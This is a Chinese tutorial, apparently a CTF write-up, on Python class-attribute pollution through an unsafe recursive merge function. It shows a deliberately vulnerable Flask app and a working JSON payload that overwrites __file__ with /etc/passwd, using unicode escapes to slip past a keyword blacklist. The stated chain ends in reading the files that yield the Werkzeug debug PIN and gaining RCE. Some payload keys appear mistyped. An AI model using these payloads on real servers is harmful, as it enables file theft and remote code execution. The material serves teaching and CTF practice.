Python原型链污染攻击利用技巧

在Python中，每个对象都有一个原型，即对象的属性和方法的定义所在。当对象访问属性或方法时，首先在自身查找，如果找不到，则会继续在原型链上的上级对象中查找。原型链污染攻击是一种攻击思路，通过修改对象原型链中的属性，导致程序在访问属性或方法时得到不符合预期的结果。

类似于JavaScript中的原型链污染攻击，在Python中也存在一种攻击方式，可以污染类属性的值。需要注意的是，由于Python的安全设置和某些特殊属性类型的限制，并非所有的类属性都可以被污染。但可以确定的是，这种污染只对类的属性有效，对于类方法是无效的。此外，由于Python的变量作用域设置，实际上还可以对全局变量中的属性进行污染。

原型链污染需要一个元素数值合并函数,通过递归合并来修改父级属性，例如下列函数。

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:  #class形式
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

1.通过__base__方法来获取父类，并修改其属性。

2.在Python中，函数或类方法（对于类的内置方法如__init__这些来说，内置方法在并未重写时其数据类型为装饰器即wrapper_descriptor，只有在重写后才是函数function）均具有一个__globals__属性，该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回（相当于这个变量空间中的globals函数的返回值）。可以使用__globlasl__来获取到全局变量，这样就可以修改无继承关系的类属性甚至全局变量。

class Father:
    secret = "test"
class A(Father):
    def __init__(self,a):
        self.a=a
class B(Father):
    pass
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
a=A('a')

#修改父类的属性secret值
payload1 = {
    "__class__" : {
        "__base__" : {
            "secret" : "change"
        }
    }
}
print(B.secret)
merge(payload1,a)
print(B.secret)

#修改全局变量 __file__ 的值
payload2 = {
    "__init__" : {
        "__globals__" : {
            "__file__" : "/etc/passwd"
        }
    }
}
print(__file__)
merge(payload2,a)
print(__file__)

源码如下：

import uuid 
from flask import Flask, request, session 
import json

black_list = ["__init__".encode(),"__globals__".encode()]

app = Flask(__name__) 
app.secret_key = str(uuid.uuid4()) 
def check(data): 
    for i in black_list:
        print(i)
        if i in data: 
            print(i)
            return False 
    return True 
        
def merge(src, dst): 
    for k, v in src.items(): 
        if hasattr(dst, '__getitem__'): 
            if dst.get(k) and type(v) == dict: 
                merge(v, dst.get(k)) 
            else: dst[k] = v 
        elif hasattr(dst, k) and type(v) == dict: 
            merge(v, getattr(dst, k)) 
        else: setattr(dst, k, v) 
        
class user(): 
    def __init__(self): 
        self.username = "" 
        self.password = "" 
        pass 
    
    def check(self, data): 
        if self.username == data['username'] and self.password == data['password']: 
            return True 
        return False 

Users = [] 
@app.route('/register',methods=['POST']) 
def register(): 
    if request.data: 
        try: 
            print(request.data)
            print(json.loads(request.data))
            if not check(request.data):
                print("No check")
                return "Register Failed" 
            data = json.loads(request.data)
            if "username" not in data or "password" not in data: 
                print("no username or passwd")
                return "Register Failed" 
            User = user() 
            merge(data, User) 
            Users.append(User) 
        except Exception as e: 
            print("Exception: ",e)
            return "Register Failed"
        
        return "Register Success" 
    else: 
        print("no data")
        return "Register Failed" 

@app.route('/login',methods=['POST']) 
def login(): 
    if request.data: 
        try: 
            data = json.loads(request.data).encode()
            if "username" not in data or "password" not in data: 
                return "Login Failed" 
            for user in Users: 
                if user.check(data): 
                    session["username"] = data["username"] 
                    return "Login Success" 
        except Exception: 
            return "Login Failed" 
        return "Login Failed" 
        
@app.route('/',methods=['GET']) 
def index(): 
    return open(__file__, "r").read() 
    
if __name__ == "__main__": 
    app.run(host="0.0.0.0", port=5010,debug=True)

有 /register和/login 两个路由，其中register会调用 merge()函数，request.data是我们可以控制的，这里就存在了python原型链污染。

            data = json.loads(request.data)
            if "username" not in data or "password" not in data: 
                print("no username or passwd")
                return "Register Failed" 
            User = user() 
            merge(data, User) 

根路由会返回__file__的文件内容，因此可以通过原型链污染污染__file__值， 进而读取flask计算pin码所需的要素(这里dubug=True)

@app.route('/',methods=['GET']) 
def index(): 
    return open(__file__, "r").read()

题目过滤了__init__、__globals__关键字,不json识别unicode，可以用unicode绕过。

black_list = ["__init__".encode(),"__globals__".encode()]

最后payload

POST /register HTTP/1.1
Host: xxx.xxx.xxx.xxx:50102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 
Cookie: OUTFOX_SEARCH_USER_ID_NCOO=1221520779.9084866; session=test; PHPSESSID=test
Content-Type: application/json
Content-Length: 149

{
    "username":1,
    "password":1,
    "__initu005f_":{
        "__globalu0073__":{
            "__file__": "/etc/passwd"
        }
    }
}

先register污染__file__的值，然后在访问/获得文件内容。依次获取PIN所需的文件内容，然后再通过脚本计算其正确的PIN值，即可获得一个交互性的python界面，从而RCE。